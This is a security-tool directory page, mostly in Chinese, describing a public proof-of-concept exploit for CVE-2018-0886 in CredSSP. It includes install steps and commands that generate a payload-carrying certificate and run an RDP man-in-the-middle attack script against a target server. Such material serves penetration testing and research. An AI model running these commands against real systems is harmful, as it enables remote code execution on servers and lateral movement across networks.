Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
credssp — A code demonstrating CVE-2018-0886 | Kitploit
工具/GitHubGitHub/preempt/credssp
Vulnerability AnalysisExploitationLateral MovementPenetration TestingLearning & EducationRed Teaming
GitHubpreempt/credssp

credssp

A code demonstrating CVE-2018-0886

查看仓库
267576年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

credssp

这是一个用于利用CVE-2018-0886的概念验证代码。仅用于教育目的。 它依赖于rdpy项目的一个分支(https://github.com/preempt/rdpy),同时也支持credssp中继。

由Eyal Karni编写,Preempt公司 [email protected]

构建

说明 (Linux)

如果您使用的是Ubuntu 14,请检查安装文件。 已在Ubuntu 16.04上测试。

root@kitploit:~
$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
  • 它假设系统初始状态相当干净。最好先卸载相关组件,如cryptography、pyopenssl等(pip uninstall cryptography)。
  • 需要安装不同版本的openssl才能成功运行。安装脚本会处理这一点。
  • 请按描述的顺序执行说明。

运行漏洞利用

从任何域导出适用于服务器身份验证的证书。 (用于RDP https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn781533(v=ws.11))

要生成利用该漏洞(包含有效载荷)的证书,请使用:

root@kitploit:~
$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 

(ExportedCert是步骤1中导出的证书。exploitc.pem和exploitk.pem分别是生成的证书和私钥。)

要运行攻击脚本:

root@kitploit:~
$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer

更多详情请参见脚本的使用说明(--help)。

下载工具